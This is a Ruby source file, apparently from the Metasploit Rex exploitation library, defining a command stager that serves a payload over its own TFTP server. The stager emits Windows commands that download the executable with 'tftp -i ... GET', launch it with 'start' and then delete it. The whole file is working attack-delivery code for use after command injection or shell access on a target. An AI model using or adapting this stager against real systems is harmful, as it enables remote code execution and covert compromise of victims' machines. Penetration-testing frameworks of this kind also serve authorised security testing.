# -*- coding: binary -*-

require 'rex/text'
require 'rex/arch'

module Rex
module Exploitation

###
#
# This class provides the ability to create a sequence of commands from an executable.
# When this sequence is ran via command injection or a shell, the resulting exe will
# be written to disk and executed.
#
# This particular version uses tftp.exe to download a binary from the specified
# server. The original file is preserved, not encoded at all, and so this version
# is significantly simpler than other methods.
#
# Requires: tftp.exe, outbound udp connectivity to a tftp server
#
# Written by Joshua J. Drake
#
###

class CmdStagerTFTP < CmdStagerBase

  def generate(opts = {})
    if opts[:tftphost].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:tftphost]"
    end

    opts[:linemax] ||= @linemax
    opts[:file] ||= "#{Rex::Text.rand_text_alpha(8)}.exe"
    opts[:temp] ||= '%TEMP%'

    @payload_exe = opts[:file]
    @payload_path = opts[:temp] == '.' ? opts[:file] : "#{opts[:temp]}\\#{opts[:file]}"

    generate_cmds(opts)
  end

  def setup(mod)
    self.tftp = Rex::Proto::TFTP::Server.new
    self.tftp.register_file(@payload_exe, exe)
    self.tftp.start
    mod.add_socket(self.tftp) # Hating myself for doing it... but it's just a first demo
  end

  def teardown(mod = nil)
    self.tftp.stop
  end

  def generate_cmds_payload(opts)
    cmds = []
    # We can skip the destination argument if we're writing to the working directory,
    # as tftp defaults to writing the file to the current directory with the same filename.
    if opts[:file] == @payload_path
      cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:file]}"
    else
      cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:file]} \"#{@payload_path}\""
    end
    cmds
  end

  def generate_cmds_decoder(opts)
    cmds = []
    cmds << "start \"#{@payload_path}\""
    # NOTE: We can't delete the payload while it is running.
    cmds << "del \"#{@payload_path}\"" unless opts[:nodelete]
    cmds
  end

  def cmd_concat_operator
    ' & '
  end

  attr_reader :exe
  attr_reader :payload_exe
  attr_accessor :tftp
end
end
end
